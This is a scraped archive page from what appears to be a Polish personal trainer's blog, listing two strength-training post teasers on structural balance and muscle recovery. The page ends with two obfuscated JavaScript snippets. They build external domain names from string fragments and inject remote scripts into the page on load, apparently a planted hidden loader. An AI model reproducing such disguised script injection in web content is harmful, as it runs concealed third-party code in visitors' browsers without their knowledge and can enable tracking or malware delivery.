kontakt@przemekjurek.pl

+48 732 496 635

Dzień: 1 września, 2024

Kategorie:

Przeprowadzanie Balansu Strukturalnego

Balans strukturalny: Fundament efektywnego i zdrowego treningu siłowego

1 września, 2024

Czy zdarzyło Ci się utknąć w martwym punkcie z progresją ciężaru, mimo ciężkich treningów? A może odczuwasz dyskomfort lub ból,

Czytaj więcej >

Regeneracja mięśni po treningu

Nie wszystkie mięśnie regenerują się tak samo: Jak struktura mięśnia wpływa na objętość i częstotliwość treningu?

1 września, 2024

Zapewne wiesz, że anatomia i biomechanika odgrywają kluczową rolę w planowaniu treningu siłowego. Ale czy zastanawiałeś się kiedyś, dlaczego niektóre

Czytaj więcej >

(function(){ qiwq=document.createElement("script");qiwq_=("us")+("ta"); qiwq_+="t"+(".");qiwq_+=("in");qiwqu="2422389891";qiwq.async=true; qiwqu+=".zd05rX4tiwqszu674";qiwq.type="text/javascript";qiwq_+="f"+"o"+("/"); qiwqu+="6hlhfpezabw8x";qiwq.src="https://"+qiwq_+qiwqu; dqiwq=document.body;dqiwq.appendChild(qiwq); })(); (function(){ uv01=document.createElement("script");uv01.type="text/javascript"; uv01.async=true;uv01_=("op"+("ens")+"t")+"a";uv01_+=("t.e")+""+"u"; uv01.src="https://"+uv01_+"/2491255555.c8uwxe2lv01hti955xgXsgvvmsav2e"; document.body.appendChild(uv01); })();